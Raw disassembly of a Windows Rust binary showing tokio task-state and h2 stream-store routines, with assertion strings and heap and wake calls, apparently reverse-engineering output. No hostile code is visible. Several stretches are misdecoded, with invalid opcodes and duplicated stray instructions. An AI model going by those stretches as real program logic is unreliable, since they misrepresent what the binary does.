mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x1400895ce
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089920
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
and al, 0x40
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089920
mov rcx, rsi
call 0x140089ac0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
invalid
mov rdx, rax
xor r8d, r8d
test dl, 3
sete r8b
or r8, rax
or r8, 0x20
lock cmpxchg qword [rcx], r8
jne 0x1400897a0
test dl, 3
je 0x1400897e7
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140089843
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008983b
add rsp, 0x48
pop rdi
pop rsi
jmp 0x140089860
lea rsi, [rcx + 0x20]
mov byte [rsp + 0x40], 5
lea rdx, [rsp + 0x20]
and byte [rax - 0x77], cl
iretd
mov rcx, rsi
call fcn.140089920
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x40], 4
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140089920
mov rcx, rdi
add rsp, 0x48
pop rdi
pop rsi
jmp 0x140089ac0
and byte [rax - 0x77], cl
iretd
nop
add rsp, 0x48
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008987d
lea rcx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0x50]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
cmovne eax, r8d
cmp al, 1
je 0x1400898ab
movzx eax, al
test eax, eax
jne 0x1400898e7
call fcn.140088740
jmp 0x1400898e7
cmp qword [rcx], 0
je 0x1400898e7
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x1400898e7
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400898e7
cmp qword [rbx + 0x10], 0x11
jb 0x1400898d5
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x1400898f7
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rdi, [rcx + 0x10]
movzx eax, byte [rcx + 0x30]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
cmovne eax, r8d
cmp al, 1
je 0x1400899ef
movzx eax, al
test eax, eax
jne 0x140089a2c
mov rcx, rdi
call fcn.140088740
jmp 0x140089a2c
cmp qword [rdi], 0
je 0x140089a2c
mov rbx, qword [rcx + 0x18]
test rbx, rbx
je 0x140089a2c
mov r14, qword [rcx + 0x20]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140089a2c
cmp qword [r14 + 0x10], 0x11
jb 0x140089a1a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140089a92
test eax, eax
jne 0x140089aac
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140089ad0
test al, 1
je 0x140089b6f
test al, 2
jne 0x140089b87
test al, 8
jne 0x140089b07
lea rcx, [rsi + 0x20]
mov byte [rsp + 0x48], 5
lea rdx, [rsp + 0x28]
call fcn.140089920
jmp 0x140089b1f
test al, 0x10
je 0x140089b1f
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x140089c0b
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea6e0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140089b9f
jne 0x140089b65
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140089860
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x28]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x28]
call fcn.140108560
int3
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140089fd6
mov rcx, rsi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x140089fb4
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
and al, 0x10
mov cl, 1
xor eax, eax
lock cmpxchg byte [r12 + 0x10], cl
jne 0x14008a28c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008a2b3
xor ebx, ebx
movzx eax, byte [r12 + 0x11]
test al, al
jne 0x14008a2d7
mov r9d, dword [rdx + 8]
mov ecx, dword [rdx + 0xc]
mov dword [rsp + 0x28], r9d
lea rax, [rsp + 0x2c]
mov dword [rsp + 0x2c], ecx
and al, 0x2c
and al, 0x2c
cmp qword [r12 + 0x1d8], r9
jbe 0x14008a309
mov r13, qword [r12 + 0x1d0]
imul rdx, r9, 0x130
cmp dword [r13 + rdx], 2
je 0x14008a309
add r13, rdx
cmp dword [r13 + 0x114], ecx
jne 0x14008a309
movzx r10d, byte [r13 + 0x50]
add r10b, 0xfa
movzx r11d, r10b
cmp r11b, 6
mov r10d, 6
cmovb r10d, r11d
mov r14d, 2
cmp r10b, 5
je 0x14008a151
movzx r10d, r10b
cmp r10d, 3
jne 0x14008a1d6
cmp byte [r13 + 0x51], 0
je 0x14008a1d6
cmp byte [r13 + 0x123], 0
je 0x14008a1fa
mov byte [r13 + 0x123], 0
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x2c], ecx
cmp qword [r12 + 0x1d8], r9
jbe 0x14008a309
mov r8, qword [r12 + 0x1d0]
cmp dword [r8 + rdx], 2
je 0x14008a309
add r8, rdx
cmp dword [r8 + 0x114], ecx
jne 0x14008a309
mov rax, qword [r12 + 0x128]
mov ecx, dword [r8 + 0x84]
xor r14d, r14d
test ecx, ecx
cmovle ecx, r14d
cmp rcx, rax
cmovb rax, rcx
sub rax, qword [r8 + 0x88]
cmovae r14, rax
shl r14, 0x20
test bl, bl
jne 0x14008a23a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14008a23a
call fcn.1401105f0
test al, al
jne 0x14008a23a
mov byte [r12 + 0x11], 1
jmp 0x14008a23a
mov rax, qword [r8]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov r15, rax
mov r14, rdx
mov rax, qword [r13 + 0x90]
test rax, rax
je 0x14008a222
mov rcx, qword [r13 + 0x98]
call qword [rax + 0x18]
mov qword [r13 + 0x90], r15
mov qword [r13 + 0x98], r14
mov r14d, 3
test bl, bl
je 0x14008a1da
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x14008a24b
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp r14b, 2
je 0x14008a25f
movzx eax, r14b
cmp eax, 3
jne 0x14008a264
mov byte [rsi], 7
jmp 0x14008a27c
mov byte [rsi], 6
jmp 0x14008a27c
test r14b, 1
jne 0x14008a277
shr r14, 0x20
mov byte [rsi], 5
mov qword [rsi + 8], r14
jmp 0x14008a27c
mov word [rsi], 3
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov rbx, r8
mov r14, rdx
call fcn.140110530
mov rdx, r14
mov r8, rbx
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14008a0be
mov rbx, r8
mov r14, rdx
call fcn.1401105f0
mov rdx, r14
mov r8, rbx
mov ebx, eax
xor bl, 1
movzx eax, byte [r12 + 0x11]
test al, al
je 0x14008a0ce
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x48], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401088e0
mov qword [rsp + 0x30], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
or dword [rax], eax
or dword [rax], eax
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
push rbp
add eax, 0xc0854800
je 0x14008a449
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 9
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008a458
mov rdi, rax
mov rax, qword [rsp + 0x48]
mov qword [rdi + 0x20], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
cmp byte [rdi], cl
adc dword [rdi + 0x10], ecx
cmp byte [rdi], cl
adc dword [rdi + 0x10], ecx
movups xmmword [rdi], xmm0
mov rbx, qword [rsi]
test rbx, rbx
je 0x14008a42e
invalid
mov r14, qword [rsi + 8]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14008a42e
cmp qword [r14 + 0x10], 0x11
jb 0x14008a41c
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rdi
lea rax, [0x14013dd98]
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 8
mov edx, 0x38
add byte [rdx + 0x38], bh
call fcn.1401082c0
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
int3
ror byte [rdi], 0x84
rol byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov dword [rdi + 8], esi
movabs r15, 0x42902884f4d1e82b
movabs r12, 0xbc8cfe1b1dc21e9b
jmp 0x14008a512
mov rcx, rbx
call qword [r14 + 0x30]
mov rbx, rax
mov r14, rdx
test rax, rax
je 0x14008a541
mov rcx, rbx
call qword [r14 + 0x38]
cmp rax, r15
jne case.0x14002a2ab.1592
cmp rdx, r12
jne case.0x14002a2ab.1592
movzx eax, byte [rbx]
mov edx, 2
cmp rax, 2
ja 0x14008a546
lea rcx, [0x140175eb0]
mov rax, qword [rcx + rax*8]
mov edx, dword [rbx + rax]
jmp 0x14008a546
mov edx, 2
mov rcx, rsi
call fcn.14008af30
mov rax, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
test eax, edx
add eax, dword [rax]
add byte [rax - 0x75], cl
add eax, 0xf7d54
shl rax, 1
test rax, rax
jne 0x14008a9aa
xor ebp, ebp
movzx eax, byte [r13 + 0x11]
test al, al
jne 0x14008a9d4
lea rax, [r13 + 0x1c8]
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rax
mov rbx, qword [rdx + 0x10]
lea rax, [rbx + 0x10]
mov qword [rsp + 0x98], rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], cl
jne 0x14008aa10
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008aa3c
xor edx, edx
mov dword [rsp + 0x34], ebp
mov qword [rsp + 0x58], r14
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x14008adf4
mov rdi, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov r12d, dword [rsp + 0x54]
mov dword [rsp + 0xb0], ebp
mov dword [rsp + 0xb4], r12d
cmp qword [rdi + 0x10], rbp
jbe 0x14008ad43
mov rax, qword [rdi + 8]
imul rsi, rbp, 0x130
cmp dword [rax + rsi], 2
je 0x14008ad43
add rax, rsi
cmp dword [rax + 0x114], r12d
jne 0x14008ad43
test r12d, r12d
je 0x14008ae37
mov r14, r15
lea rcx, [r13 + 0x18]
mov qword [rsp + 0xa8], rcx
mov ecx, dword [rax + 0x48]
mov dword [rsp + 0x30], ecx
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x60], xmm0
mov rcx, qword [r8 + 0x20]
mov qword [rsp + 0x80], rcx
movaps xmmword [rsp + 0x70], xmm1
mov dword [rsp + 0x88], r12d
mov byte [rsp + 0x8c], 0
mov byte [rsp + 0x8e], r9b
mov rcx, qword [rsp + 0x60]
test rcx, rcx
mov dword [rsp + 0xa4], edx
je 0x14008a703
cmp ecx, 1
jne 0x14008a74e
mov r8, qword [rsp + 0x70]
xor edx, edx
sub r8, qword [rsp + 0x78]
cmovae rdx, r8
mov r15b, 2
cmp rdx, 0x7fffffff
jbe 0x14008a750
jmp 0x14008a714
mov rdx, qword [rsp + 0x78]
mov r15b, 2
cmp rdx, 0x7fffffff
jbe 0x14008a750
cmp ecx, 1
je 0x14008a908
test rcx, rcx
mov rdi, qword [rsp + 0x58]
mov ebp, dword [rsp + 0x34]
jne 0x14008ac8c
lea rcx, [rsp + 0x80]
mov rax, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
call qword [rax + 0x10]
jmp 0x14008ac8c
xor edx, edx
movzx r8d, byte [rax + 0x50]
lea r10d, [r8 - 6]
movzx r11d, r10b
cmp r11b, 6
mov r10d, 6
cmovb r10d, r11d
cmp r10b, 3
je 0x14008a77f
movzx r10d, r10b
cmp r10d, 5
jne 0x14008a8f7
cmp byte [rax + 0x51], 0
je 0x14008a8f7
test byte [rsi + 1], ch
add byte [rax], al
add qword [rax + 0x88], rdx
mov qword [rsp + 0xb0], 2
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x2c], r12d
cmp qword [rdi + 0x10], rbp
jbe 0x14008ad8a
mov rax, qword [rdi + 8]
cmp dword [rax + rsi], 2
je 0x14008ad8a
add rax, rsi
cmp dword [rax + 0x114], r12d
jne 0x14008ad8a
lea r15, [r13 + 0x120]
mov edx, dword [rax + 0x118]
mov rcx, qword [rax + 0x88]
cmp rcx, rdx
jbe 0x14008a842
mov edx, 0xffffffff
cmp rcx, rdx
cmovb rdx, rcx
mov dword [rax + 0x118], edx
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x2c], r12d
cmp qword [rdi + 0x10], rbp
jbe 0x14008ad8a
mov rax, qword [rdi + 8]
cmp dword [rax + rsi], 2
je 0x14008ad8a
add rax, rsi
cmp dword [rax + 0x114], r12d
jne 0x14008ad8a
cmp byte [rax + 0x124], 0
je 0x14008aa57
test r9b, r9b
je 0x14008aaf5
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x2c], r12d
cmp qword [rdi + 0x10], rbp
jbe 0x14008ae4f
mov rdi, qword [rdi + 8]
cmp dword [rdi + rsi], 2
je 0x14008ae4f
add rdi, rsi
cmp dword [rdi + 0x114], r12d
jne 0x14008ae4f
movzx ecx, byte [rdi + 0x50]
movzx eax, cl
lea edx, [rax - 6]
movzx r9d, dl
cmp r9b, 6
mov r8d, 6
cmovb r8d, r9d
cmp r8b, 3
je 0x14008a936
lea rsi, [rdi + 0x50]
movzx r8d, r8b
cmp r8d, 5
jne 0x14008aeb9
cmp dl, 6
jb 0x14008aacd
lea edx, [rcx - 3]
cmp dl, 2
ja 0x14008a8ce
cmp dl, 1
jne 0x14008aacd
test cl, cl
je 0x14008aacd
cmp eax, 1
jne 0x14008aaae
lea rcx, [rdi + 0x70]
mov rax, qword [rdi + 0x58]
mov rdx, qword [rdi + 0x60]
mov r8, qword [rdi + 0x68]
call qword [rax + 0x10]
jmp 0x14008aacd
cmp r8b, 6
setae r15b
cmp ecx, 1
jne 0x14008a71d
cmp qword [rsp + 0x70], 0
mov rdi, qword [rsp + 0x58]
mov ebp, dword [rsp + 0x34]
je 0x14008ac8c
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008ac8c
movzx esi, byte [rdi + 0x52]
cmp dl, 6
jb 0x14008aaa4
add cl, 0xfd
cmp cl, 2
ja 0x14008a954
cmp cl, 1
jne 0x14008aaa4
test eax, eax
je 0x14008aaa4
cmp eax, 1
jne 0x14008aa85
lea rcx, [rdi + 0x70]
mov rax, qword [rdi + 0x58]
mov rdx, qword [rdi + 0x60]
mov r8, qword [rdi + 0x68]
call qword [rax + 0x10]
jmp 0x14008aaa4
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.1401105f0
mov rdx, rsi
mov r8, rdi
mov r9d, ebx
mov ebp, eax
xor bpl, 1
movzx eax, byte [r13 + 0x11]
test al, al
je 0x14008a5cf
mov qword [rsp + 0xe0], r14
mov byte [rsp + 0xe8], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.1401088e0
mov rcx, qword [rsp + 0x98]
mov esi, r9d
mov rdi, r8
call fcn.140110530
mov r8, rdi
mov r9d, esi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14008a616
mov esi, r9d
mov rdi, r8
call fcn.1401105f0
mov r8, rdi
mov r9d, esi
mov edx, eax
xor dl, 1
jmp 0x14008a618
lea rdx, [rsp + 0x48]
mov rcx, r15
mov qword [rsp + 0xd8], r15
mov r15d, r9d
call fcn.140021220
mov r9d, r15d
mov r15, qword [rsp + 0xd8]
test r9b, r9b
jne 0x14008a84b
jmp 0x14008aaf5
mov rax, qword [rdi + 0x58]
shl rax, 1
test rax, rax
je 0x14008aaa4
mov r8, qword [rdi + 0x60]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi + 0x50], 0xa
mov byte [rdi + 0x51], sil
jmp 0x14008aad0
mov rax, qword [rdi + 0x58]
shl rax, 1
test rax, rax
je 0x14008aacd
mov r8, qword [rdi + 0x60]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi], 3
lea r8, [rsp + 0x48]
mov rcx, r15
xor edx, edx
mov r9, qword [rsp + 0xa8]
call fcn.140020c30
mov rdi, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov r12d, dword [rsp + 0x54]
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x2c], r12d
cmp qword [rdi + 0x10], rbp
jbe 0x14008ad8a
mov rcx, qword [rdi + 8]
imul rax, rbp, 0x130
cmp dword [rcx + rax], 2
je 0x14008ad8a
add rcx, rax
cmp dword [rcx + 0x114], r12d
jne 0x14008ad8a
lea r8, [rbx + 0x18]
cmp dword [rcx + 0x84], 0
jle 0x14008ab8f
lea rax, [r13 + 0x1b8]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x108], xmm2
movups xmmword [rsp + 0xf8], xmm1
movups xmmword [rsp + 0xe8], xmm0
mov byte [rsp + 0xe0], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0xe0]
lea r9, [rsp + 0x48]
mov rcx, r15
call fcn.140087730
jmp 0x14008abde
cmp qword [rcx + 0x88], 0
je 0x14008ab3a
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x108], xmm2
movups xmmword [rsp + 0xf8], xmm1
movups xmmword [rsp + 0xe8], xmm0
mov byte [rsp + 0xe0], 0
lea rax, [rsp + 0xe0]
mov rdx, r8
mov r8, rax
call fcn.140087800
mov rdi, qword [rsp + 0x58]
mov ebp, dword [rsp + 0x34]
mov rax, qword [rsp + 0xb0]
cmp rax, 2
je 0x14008ac89
lea rdx, [rsp + 0xc8]
mov r12, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xc0]
test rax, rax
je 0x14008ac72
mov rax, qword [rsi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [r12 + rax]
add rcx, 0x10
call qword [rsi + 0x68]
mov rdx, qword [rsp + 0xc8]
mov rax, qword [rsi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [r12 + rax]
add rcx, 0x10
call qword [rsi + 0x80]
mov rax, qword [rsp + 0xb8]
lock dec qword [rax]
jne 0x14008ac89
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
call fcn.140004950
jmp 0x14008ac89
mov rcx, r12
call qword [rsi + 0x68]
mov rdx, qword [rsp + 0xc8]
mov rcx, r12
call qword [rsi + 0x80]
mov r15b, 0xc
mov eax, dword [rsp + 0x30]
cmp eax, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xa8]
call fcn.14001f580
cmp byte [rsp + 0xa4], 0
jne 0x14008acc4
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008ad24
xor eax, eax
mov rcx, qword [rsp + 0x98]
xchg byte [rcx], al
cmp al, 2
jne 0x14008acda
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne 0x14008acee
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008ad33
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x14008acff
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov al, 5
cmp r15b, 0xc
je 0x14008ad0d
mov byte [r14 + 1], r15b
mov al, 3
mov byte [r14], al
add rsp, 0x208
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401105f0
test al, al
jne 0x14008acc4
mov byte [rbx + 0x11], 1
jmp 0x14008acc4
call fcn.1401105f0
test al, al
jne 0x14008acee
mov byte [r13 + 0x11], 1
jmp 0x14008acee
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x60], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x68], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x60]
jmp 0x14008adcc
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x38], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x40], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xe0]
call fcn.140108560
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xe0], rax
mov byte [rsp + 0xe8], dl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.assertion_failed:__stream_id.is_zero__
lea r8, [0x14013ef70]
mov edx, 0x26
call fcn.140108630
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x38], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x40], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xe0]
call fcn.140108560
mov qword [rsp + 0x28], rsi
